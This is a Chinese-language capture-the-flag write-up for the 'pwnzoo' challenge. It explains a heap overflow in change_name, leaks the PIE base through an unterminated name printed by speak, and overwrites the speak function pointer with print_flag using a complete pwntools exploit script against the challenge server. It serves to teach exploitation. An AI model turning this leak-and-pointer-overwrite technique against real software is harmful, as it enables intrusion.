检查一下开启的保护机制:
用ida分析一下程序:
主函数是这样的:
走到construct_animal()函数:
申请了一个堆块,用以存储动物结构体,看起来这个堆块上有函数指针
并且会把anmial->name初始化为0x24个空格,下面change_name时会用到
main函数调用完construct_animal()后,会调用change_name()函数:
change_name是向堆块上写数据,并且可以输入strlen(animal->name)+1个数据,这是一个堆溢出
然后main函数会一直循环menu()函数,menu提供change_name,speak,exit的功能
现在用gd调试一下,看看这个animal结构体:
那么animal结构体的定义应该是这样的:
struct animal{
int species;
char name[0x24];
void (* speak) (animal_t * a);
};
那么就利用堆溢出,改写这个函数指针
程序正好提供了print_flag函数:
面临的问题就是程序开启了pie,我们不知道print_flag()函数地址
speak_dog函数会调用printf("%s",animal->name)把堆块里的数据打印出来,
如果没有遇到\x00,会连带把animal->speak一块打印出来,这样就拿到了pie
利用脚本如下:
#coding:utf-8 from pwn import * context.log_level="debug" #sh=gdb.debug("./pwnzoo") #sh=process("./pwnzoo") sh=remote("pwnzoo-7fb58ad8.challenges.bsidessf.net",1234) elf=ELF("./pwnzoo") def edit(name): sh.sendlineafter("Menu","2") sh.sendlineafter("name",name) sh.sendlineafter("dog?",'d') sh.sendlineafter("name",'a'*0x23+'z') sh.sendlineafter("Menu","1") sh.recvuntil("aaz") pie=u64(sh.recv(6)+b"\x00\x00")-0x11e5 info(hex(pie)) for i in range(6):edit(b'a'*0x24+p64(pie+elf.sym['print_flag'])[:i+1])
sh.sendlineafter("Menu","1")
#pwnlib.gdb.attach(sh)
sh.interactive()